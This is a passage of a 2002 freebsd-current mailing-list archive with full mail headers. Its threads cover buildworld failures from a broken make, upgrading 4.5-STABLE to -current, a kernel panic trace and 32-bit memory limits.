([129.159.101.10]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA04525; Tue, 23 Apr 2002 17:37:47 -0600 (MDT) Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87]) by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g3NNbkO13273; Wed, 24 Apr 2002 02:37:46 +0300 (EEST) Received: (from tomppa@localhost) by ultrahot.Finland.Sun.COM (8.11.6+Sun/8.11.6) id g3NNbj922418; Wed, 24 Apr 2002 02:37:45 +0300 (EEST) From: Tomi Vainio - Sun Finland - MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15557.61513.332289.948206@gargle.gargle.HOWL> Date: Wed, 24 Apr 2002 02:37:45 +0300 To: Steve Kargl Cc: freebsd-current@FreeBSD.ORG Subject: Re: make buildworld fails / neqn / grog /groff In-Reply-To: <20020423163149.A30985@troutmask.apl.washington.edu> References: <15557.60417.518052.304110@gargle.gargle.HOWL> <20020423163149.A30985@troutmask.apl.washington.edu> X-Mailer: VM 7.00 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid Reply-To: Tomi.Vainio@Sun.COM Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Steve Kargl writes: > On Wed, Apr 24, 2002 at 02:19:29AM +0300, Tomi Vainio - Sun Finland - wrote: > > I haven't been able to build new world since Apr14 or so. I have > > cvsupped sources multiple times and buildworld always fails on neqn. > > If I remove this next it fails on grog and so on. Any good ideas > > what's wrong? > > > > cd /usr/src/usr.bin/make > make clean && make depend && make && make install > make clean && make cleandepend > cd /usr/src > make buildworld > That was it, thanks! There is nothing about this on UPDATING? What I have missed? Tomppa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 16:40:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 46FBB37B404; Tue, 23 Apr 2002 16:40:19 -0700 (PDT) Received: from pool0099.cvx40-bradley.dialup.earthlink.net ([216.244.42.99] helo=mindspring.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1709tN-0006C7-00; Tue, 23 Apr 2002 16:40:13 -0700 Message-ID: <3CC5F0C1.DF1CCF83@mindspring.com> Date: Tue, 23 Apr 2002 16:39:45 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <200204232020.g3NKKJb38154@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dave Hayes wrote: > So, it's time to question the assumption that the information you want > available should be in "a book". > > Many websites have "annotation" as a form of ad-hoc documentation > (e.g. php.net). Why not have someone take a crack at documenting the > FreeBSD kernel, and perhaps use some annotation feature to create a > "living" document which (hopefully) comes close to describing the > kernel architechture? > > If you want to track a moving target, perhaps you need to use a moving > track? How does the person or persons involved in documenting the internals to sufficient detail to be useful to third parties get paid for the effort? We are talking the work equivalent of a full time job. If they aren't paid, what's the incentive to create documentation above and beyond the status quo? If that incentive exists, what's the URL for the documentation that was created as a result? I think I can count on my fingers the number of people who know the various aspects of the boot process well enough to document it for people who want to hack on it to, for example, declaratively allocate physical memory as part of the boot process. A lot of the information in this thread was never collected centrally anywhere before (e.g. the missing piece about the files to modify and the calculation of the NKPDE value that was left out of David Greenman's posting of a year ago). Most of this information will be quickly out of date, since as soon as you document something, people understand it enough to realize the shortcomings, and so nearly the first thing that happens is the shortcomings are corrected, and voila, your documentation is now out of date. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 16:46:59 2002 Delivered-To: freebsd-current@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id 38FC137B405 for ; Tue, 23 Apr 2002 16:46:54 -0700 (PDT) Received: from troutmask.apl.washington.edu (localhost [127.0.0.1]) by troutmask.apl.washington.edu (8.12.3/8.12.2) with ESMTP id g3NNkrqM031321; Tue, 23 Apr 2002 16:46:53 -0700 (PDT) (envelope-from sgk@troutmask.apl.washington.edu) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g3NNkrBe031320; Tue, 23 Apr 2002 16:46:53 -0700 (PDT) Date: Tue, 23 Apr 2002 16:46:53 -0700 From: Steve Kargl To: Tomi Vainio - Sun Finland - Cc: freebsd-current@FreeBSD.ORG Subject: Re: make buildworld fails / neqn / grog /groff Message-ID: <20020423164653.A31230@troutmask.apl.washington.edu> References: <15557.60417.518052.304110@gargle.gargle.HOWL> <20020423163149.A30985@troutmask.apl.washington.edu> <15557.61513.332289.948206@gargle.gargle.HOWL> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <15557.61513.332289.948206@gargle.gargle.HOWL>; from Tomi.Vainio@Sun.COM on Wed, Apr 24, 2002 at 02:37:45AM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Apr 24, 2002 at 02:37:45AM +0300, Tomi Vainio - Sun Finland - wrote: > Steve Kargl writes: > > On Wed, Apr 24, 2002 at 02:19:29AM +0300, Tomi Vainio - Sun Finland - wrote: > > > I haven't been able to build new world since Apr14 or so. I have > > > cvsupped sources multiple times and buildworld always fails on neqn. > > > If I remove this next it fails on grog and so on. Any good ideas > > > what's wrong? > > > > > > > cd /usr/src/usr.bin/make > > make clean && make depend && make && make install > > make clean && make cleandepend > > cd /usr/src > > make buildworld > > > That was it, thanks! > > There is nothing about this on UPDATING? What I have missed? > src/usr.bin/make/str.c got broken then fixed. Revision 1.19 Sat Apr 13 19:36:47 2002 UTC (10 days, 4 hours ago) by obrien Branch: MAIN Revision 1.17 seems to break a subsequent buildworld (i.e. with the new make installed) in gnu/usr.bin/groff/src/preproc/eqn (which, being a build tool itself, is built with the original make during buildworld). The problem seems to be that in str_concat(), the string is not terminated when the length of the second string is 0. This apparently can happen during null suffix rule processing. Revision 1.17 Sat Apr 13 10:13:39 2002 UTC (10 days, 13 hours ago) by obrien Branch: MAIN Make str_concat handle NULL arguments properly (a-la how ODE-2.3.6 make does). -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 17:48:51 2002 Delivered-To: freebsd-current@freebsd.org Received: from nic-naa.net (216-220-241-232.midmaine.com [216.220.241.232]) by hub.freebsd.org (Postfix) with ESMTP id 5404537B41C for ; Tue, 23 Apr 2002 17:48:47 -0700 (PDT) Received: from nic-naa.net (localhost.nic-naa.net [127.0.0.1]) by nic-naa.net (8.11.6/8.11.6) with ESMTP id g3O0fus28900; Tue, 23 Apr 2002 20:41:56 -0400 (EDT) (envelope-from brunner@nic-naa.net) Message-Id: <200204240041.g3O0fus28900@nic-naa.net> To: Jeff.Kelly@t-online.de (=?iso-8859-1?Q?Christian_Fl=FCgel?=) Cc: freebsd-current@FreeBSD.ORG, brunner@nic-naa.net Subject: Re: upgrade from 4.5 to current fails Date: Tue, 23 Apr 2002 20:41:56 -0400 From: Eric Brunner-Williams in Portland Maine Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > ... > I also got another shell failure when doing the depend phase of the kernel > build, but since I don't care what is in vers.c, and I don't care about the > ch set of utilities, I cheerfully continued. > ... Oops. abenaki# make cc -c -O -pipe -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -g -nostdinc -I- -I. -I../../.. -I../../../dev -I../../../contrib/dev/acpica -I../../../contrib/ipfilter -I../../../../include -D_KERNEL -ffreestanding -include opt_global.h -fno-common -mpreferred-stack-boundary=2 -Werror config.c sh ../../../conf/newvers.sh SIKSIKA *** Signal 12 Again, I honestly don't care what is in vers.c, particularly when it is just comments. So.... make -i and my machine and I skip over what doesn't actually matter. Eric To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 18:51:16 2002 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 17CAA37B41B for ; Tue, 23 Apr 2002 18:50:53 -0700 (PDT) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.6/8.11.6) with SMTP id g3O1ogw36666 for ; Tue, 23 Apr 2002 21:50:42 -0400 (EDT) (envelope-from robert@fledge.watson.org) Date: Tue, 23 Apr 2002 21:50:42 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: current@FreeBSD.org Subject: panic: clist reservation botch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This was from the TrustedBSD MAC branch, but it's not clear to me that this relates to the MAC patches. Have't seen this before; this box is a pxe-booted NFS-mounted system. Kernel and userland may be out of sync, but all modules should be in sync. System is on a serial console. Configuring syscons: blanktimepanic: clist reservation botch cpuid = 1; lapic.id = 01000000 Debugger("panic") Stopped at Debugger+0x41: xorl %eax,%eax db> trace Debugger(c03de45a) at Debugger+0x41 panic(c03e429f,c0445620,c8e3f200,c8e3f200,c982ab08) at panic+0xd8 cblock_free_cblocks(b,c8e3f200,c982ab28,c0274fd8,c8e3f200) at cblock_free_cblocks+0x29 clist_free_cblocks(c8e3f200,c8e3f238,c8e3f21c,c8e3f200,3) at clist_free_cblocks+0x20 ttyclose(c8e3f200,c8e3f200,1,c98315a0,c939ca48) at ttyclose+0x44 scclose(c049a518,1,2000,c939ca48,c049a518) at scclose+0xd6 spec_close(c982ab94,c982aba8,c02995ec,c982ab94,c93ab03c) at spec_close+0x11a spec_vnoperate(c982ab94,c93ab03c,c93ab03c,c0417ee0,c98315a0) at spec_vnoperate+0x15 vn_close(c98315a0,1,c3f76a00,c939ca48,c982ac08) at vn_close+0x40 vn_closefile(c93ab03c,c939ca48,c93ab03c,c939ca48,0) at vn_closefile+0x1f fdrop_locked(c93ab03c,c939ca48,c049cc00,0,c03daa33) at fdrop_locked+0x12c fdrop(c93ab03c,c939ca48,1,c984b974,8) at fdrop+0x26 closef(c93ab03c,c939ca48) at closef+0xa0 fdfree(c939ca48,c982ad20,c939ca48,c982ad20,c939c948) at fdfree+0x80 exit1(c939ca48,0,c0441740,0,c03db00e) at exit1+0x2af sys_exit(c939ca48,c982ad20,2813c3f8,2805173c,0) at sys_exit+0x2a syscall(2f,2f,2f,0,2805173c) at syscall+0x223 syscall_with_err_pushed() at syscall_with_err_pushed+0x1b --- syscall (1, FreeBSD ELF, sys_exit), eip = 0x280bb48b, esp = 0xbfbffd5c, ebp = 0xbfbffd88 --- db> Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 18:57:52 2002 Delivered-To: freebsd-current@freebsd.org Received: from kylebutt.dorms.usu.edu (kylebutt.dorms.usu.edu [129.123.231.119]) by hub.freebsd.org (Postfix) with ESMTP id 836C537B41F for ; Tue, 23 Apr 2002 18:57:43 -0700 (PDT) Received: from kylebutt.dorms.usu.edu (0d769aacaf31a537140fbd801fe4f557@localhost [127.0.0.1]) by kylebutt.dorms.usu.edu (8.12.2/8.12.2) with ESMTP id g3O1vfG8019952; Tue, 23 Apr 2002 19:57:42 -0600 (MDT) (envelope-from kylebutt@myrealbox.com) Date: Tue, 23 Apr 2002 19:57:41 -0600 Message-ID: <87d6wpn9ii.wl@kylebutt.dorms.usu.edu> From: Kyle Butt To: Jeff.Kelly@t-online.de (Christian =?ISO-8859-1?Q?Fl=FCgel?=) Cc: Subject: Re: upgrade from 4.5 to current fails In-Reply-To: <001901c1eb11$9abdb5a0$594bfea9@bender> References: <001901c1eb11$9abdb5a0$594bfea9@bender> User-Agent: Wanderlust/2.8.1 (Unchained Melody) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/2.8.1 Emacs/21.2.50 (i386-unknown-freebsd4.5) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At Tue, 23 Apr 2002 23:55:37 +0200, Christian Fl=FCgel wrote: >=20 > Hello Folks. >=20 > I currently try to upgrade from 4.5 STABLE to CURRENT. >=20 > I have cvsuped my source and already made buildworld and buildkernel. >=20 > But installworld failed with Signal 12 while installing chpass. > When I try to remove chpass from hand I get a "operation not permitted" > error. Apparently the immutable flag prevents the file from being deleted. > Which is strange because the securelevel should be 0 when I'm in single u= ser > mode. So I should be able to change the immutable flag. =46rom UPDATING:=20 To upgrade from 4.x-stable to current ------------------------------------- make buildworld make buildkernel KERNCONF=3DYOUR_KERNEL_HERE cp src/sys/${MACHINE_ARCH}/conf/GENERIC.hints /boot/device.hints [2] make installkernel KERNCONF=3DYOUR_KERNEL_HERE reboot in single user [3] make installworld mergemaster [4] [1] Did you do this? IIRC, Sig 12 is unimplemented syscall, which would occur when userland and the kernel are out of sync. >=20 > So I booted from my fixit floppy mounted my slices and chrooted to my root > partition. But even then installworld dies with Signal 12 while processing > chpass. > And rm -f chpass will give me an "operation not permitted" error. >=20 > So what is wrong here? >=20 > Any Ideas? >=20 > Regards >=20 > Christian >=20 >=20 >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 19: 6: 3 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id 7C18337B416 for ; Tue, 23 Apr 2002 19:05:59 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 2DBDF66D03; Tue, 23 Apr 2002 19:05:59 -0700 (PDT) Date: Tue, 23 Apr 2002 19:05:58 -0700 From: Kris Kennaway To: =?iso-8859-1?Q?Christian_Fl=FCgel?= Cc: freebsd-current@freebsd.org Subject: Re: upgrade from 4.5 to current fails Message-ID: <20020423190558.A88171@xor.obsecurity.org> References: <001901c1eb11$9abdb5a0$594bfea9@bender> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <001901c1eb11$9abdb5a0$594bfea9@bender>; from Jeff.Kelly@t-online.de on Tue, Apr 23, 2002 at 11:55:37PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 11:55:37PM +0200, Christian Flügel wrote: > Hello Folks. > > I currently try to upgrade from 4.5 STABLE to CURRENT. > > I have cvsuped my source and already made buildworld and buildkernel. > > But installworld failed with Signal 12 while installing chpass. You're attempting to upgrade incorrectly. Follow the directions _precisely_ and this won't happen. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 19: 9:52 2002 Delivered-To: freebsd-current@freebsd.org Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249]) by hub.freebsd.org (Postfix) with ESMTP id E6CBD37B404 for ; Tue, 23 Apr 2002 19:09:43 -0700 (PDT) Received: by leviathan.inethouston.net (Postfix, from userid 1001) id 2C0A2319C81; Tue, 23 Apr 2002 21:09:44 -0500 (CDT) Date: Tue, 23 Apr 2002 21:09:44 -0500 From: "David W. Chapman Jr." To: Kris Kennaway Cc: Christian Fl?gel , freebsd-current@freebsd.org Subject: Re: upgrade from 4.5 to current fails Message-ID: <20020424020944.GA4453@leviathan.inethouston.net> Reply-To: "David W. Chapman Jr." Mail-Followup-To: Kris Kennaway , Christian Fl?gel , freebsd-current@freebsd.org References: <001901c1eb11$9abdb5a0$594bfea9@bender> <20020423190558.A88171@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020423190558.A88171@xor.obsecurity.org> User-Agent: Mutt/1.3.28i X-Operating-System: FreeBSD 4.5-STABLE i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > I have cvsuped my source and already made buildworld and buildkernel. > > > > But installworld failed with Signal 12 while installing chpass. > > You're attempting to upgrade incorrectly. Follow the directions > _precisely_ and this won't happen. I just got bit by this one myself from not following instructions, for the past 2 weeks you didn't have to, you could just upgrade to 5.0 like tracking -stable. -- David W. Chapman Jr. dwcjr@inethouston.net Raintree Network Services, Inc. dwcjr@freebsd.org FreeBSD Committer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 19:15:33 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id 0139537B400 for ; Tue, 23 Apr 2002 19:15:30 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 8A54166C8C; Tue, 23 Apr 2002 19:15:29 -0700 (PDT) Date: Tue, 23 Apr 2002 19:15:29 -0700 From: Kris Kennaway To: "David W. Chapman Jr." Cc: Kris Kennaway , Christian Fl?gel , freebsd-current@freebsd.org Subject: Re: upgrade from 4.5 to current fails Message-ID: <20020423191529.A88551@xor.obsecurity.org> References: <001901c1eb11$9abdb5a0$594bfea9@bender> <20020423190558.A88171@xor.obsecurity.org> <20020424020944.GA4453@leviathan.inethouston.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020424020944.GA4453@leviathan.inethouston.net>; from dwcjr@inethouston.net on Tue, Apr 23, 2002 at 09:09:44PM -0500 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 09:09:44PM -0500, David W. Chapman Jr. wrote: > > > I have cvsuped my source and already made buildworld and buildkernel. > > > > > > But installworld failed with Signal 12 while installing chpass. > > > > You're attempting to upgrade incorrectly. Follow the directions > > _precisely_ and this won't happen. > > I just got bit by this one myself from not following instructions, > for the past 2 weeks you didn't have to, you could just upgrade to > 5.0 like tracking -stable. No, for the past several months you haven't been able to installworld a -current system under a -stable kernel. That you were ever able to do that before that time is pure chance. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 19:17:41 2002 Delivered-To: freebsd-current@freebsd.org Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249]) by hub.freebsd.org (Postfix) with ESMTP id 636CC37B400 for ; Tue, 23 Apr 2002 19:17:34 -0700 (PDT) Received: by leviathan.inethouston.net (Postfix, from userid 1001) id 000C7319C8B; Tue, 23 Apr 2002 21:17:39 -0500 (CDT) Date: Tue, 23 Apr 2002 21:17:39 -0500 From: "David W. Chapman Jr." To: Kris Kennaway Cc: "David W. Chapman Jr." , Christian Fl?gel , freebsd-current@freebsd.org Subject: Re: upgrade from 4.5 to current fails Message-ID: <20020424021739.GC4453@leviathan.inethouston.net> Reply-To: "David W. Chapman Jr." Mail-Followup-To: Kris Kennaway , "David W. Chapman Jr." , Christian Fl?gel , freebsd-current@freebsd.org References: <001901c1eb11$9abdb5a0$594bfea9@bender> <20020423190558.A88171@xor.obsecurity.org> <20020424020944.GA4453@leviathan.inethouston.net> <20020423191529.A88551@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020423191529.A88551@xor.obsecurity.org> User-Agent: Mutt/1.3.28i X-Operating-System: FreeBSD 4.5-STABLE i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > No, for the past several months you haven't been able to installworld > a -current system under a -stable kernel. That you were ever able to > do that before that time is pure chance. > Very strange that I did it last week then, possibly a fluke? -- David W. Chapman Jr. dwcjr@inethouston.net Raintree Network Services, Inc. dwcjr@freebsd.org FreeBSD Committer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 19:25:20 2002 Delivered-To: freebsd-current@freebsd.org Received: from ion.gank.org (ion.gank.org [64.81.113.130]) by hub.freebsd.org (Postfix) with ESMTP id CD94D37B41A for ; Tue, 23 Apr 2002 19:25:12 -0700 (PDT) Received: from aldaris (dsl081-113-221.dfw1.dsl.speakeasy.net [64.81.113.221]) by ion.gank.org (GankMail) with ESMTP id 052E71C for ; Tue, 23 Apr 2002 21:25:18 -0500 (CDT) Message-ID: <00ed01c1eb37$426ccdc0$5f45a8c0@auir.gank.org> Reply-To: "Craig Boston" From: "Craig Boston" To: References: <001901c1eb11$9abdb5a0$594bfea9@bender> <87d6wpn9ii.wl@kylebutt.dorms.usu.edu> Subject: Re: upgrade from 4.5 to current fails Date: Tue, 23 Apr 2002 21:25:08 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kyle Butt said: >To upgrade from 4.x-stable to current >------------------------------------- ----snip---- >reboot in single user [3] >Did you do this? IIRC, Sig 12 is unimplemented syscall, which would occur >when userland and the kernel are out of sync. I don't recall seeing this in any of the docs, nor has anyone else (to my knowledge) brought it up on the lists before, so I thought it was a local problem, but it's happened to me a couple times when jumping from -stable to -current. It seems after I do the installkernel and reboot to go to single user mode (like I always do with source upgrades), loader(8) still tries to load the /kernel left over from -stable instead of the new one that I just installed. I'm guessing that maybe loader(8) is installed as part of the installworld, and hence the -stable loader is still there and defaults to /kernel instead of /boot/kernel/kernel. A simple sequence of interrupting the loader and typing: unload kernel load /boot/kernel/kernel (load any applicable modules if you need them) boot -s Does the trick. After the installworld everything seems to work fine. Might this be the problem here? If so, perhaps it should be documented somewhere (yes I am volunteering, if somebody has any pointers for who to send the patch to :) Craig To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 19:44:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from smtp.bsdhome.com (rdu25-2-113.nc.rr.com [24.25.2.113]) by hub.freebsd.org (Postfix) with ESMTP id C296A37B404; Tue, 23 Apr 2002 19:44:46 -0700 (PDT) Received: from neutrino.bsdhome.com (jupiter [192.168.220.13]) by smtp.bsdhome.com (8.11.3nb1/8.11.4) with ESMTP id g3O2iRi27955; Tue, 23 Apr 2002 22:44:27 -0400 (EDT) Received: from neutrino.bsdhome.com (localhost [127.0.0.1]) by neutrino.bsdhome.com (8.12.3/8.12.3) with ESMTP id g3O2iMaG070217; Tue, 23 Apr 2002 22:44:22 -0400 (EDT) (envelope-from bsd@neutrino.bsdhome.com) Received: (from bsd@localhost) by neutrino.bsdhome.com (8.12.3/8.12.3/Submit) id g3O2iLgQ070216; Tue, 23 Apr 2002 22:44:21 -0400 (EDT) Date: Tue, 23 Apr 2002 22:44:21 -0400 From: Brian Dean To: Poul-Henning Kamp Cc: cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: Memory overwrite problem in the -current kernel ?? Message-ID: <20020423224421.B69940@neutrino.bsdhome.com> References: <200204231148.g3NBmkp36899@freefall.freebsd.org> <82146.1019562857@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <82146.1019562857@critter.freebsd.dk>; from phk@critter.freebsd.dk on Tue, Apr 23, 2002 at 01:54:17PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 01:54:17PM +0200, Poul-Henning Kamp wrote: > This commit detects a memory overwrite problem in the kernel which > happens before we ever get into userland for the first time. Do you know the address being corrupted? If so, try breaking into ddb early on and set a hardware watchpoint. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 21:41:20 2002 Delivered-To: freebsd-current@freebsd.org Received: from HAL9000.wox.org (12-232-222-90.client.attbi.com [12.232.222.90]) by hub.freebsd.org (Postfix) with ESMTP id EDCA737B404; Tue, 23 Apr 2002 21:41:15 -0700 (PDT) Received: (from das@localhost) by HAL9000.wox.org (8.11.6/8.11.6) id g3O4eB703694; Tue, 23 Apr 2002 21:40:11 -0700 (PDT) (envelope-from das) Date: Tue, 23 Apr 2002 21:40:11 -0700 From: David Schultz To: Vallo Kallaste Cc: "Marc G. Fournier" , Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020423214011.B3593@HAL9000.wox.org> Mail-Followup-To: Vallo Kallaste , "Marc G. Fournier" , Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020423184534.GA30212@myhakas.estpak.ee>; from kalts@estpak.ee on Tue, Apr 23, 2002 at 09:45:34PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thus spake Vallo Kallaste : > Userspace processes will allocate memory > from UVA space and can grow over 1GB of size if needed by swapping. > You can certainly have more than one over-1GB process going on at > the same time, but swapping will constrain your performance. It isn't a performance constraint. 32-bit architectures have 32-bit pointers, so in the absence of segmentation tricks, a virtual address space can only contain 2^32 = 4G locations. If the kernel gets 3 GB of that, the maximum amount of memory that any individual user process can use is 1 GB. If you had, say, 4 GB of physical memory, a single user process could not use it all. Swap increases the total amount of memory that *all* processes can allocate by pushing some of the pages out of RAM and onto the disk, but it doesn't increase the total amount of memory that a single process can address. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 21:59:17 2002 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 5846537B41A; Tue, 23 Apr 2002 21:58:56 -0700 (PDT) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.12.2/8.12.2) with ESMTP id g3O4waHx096287; Wed, 24 Apr 2002 06:58:36 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Brian Dean Cc: cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: Memory overwrite problem in the -current kernel ?? In-Reply-To: Your message of "Tue, 23 Apr 2002 22:44:21 EDT." <20020423224421.B69940@neutrino.bsdhome.com> Date: Wed, 24 Apr 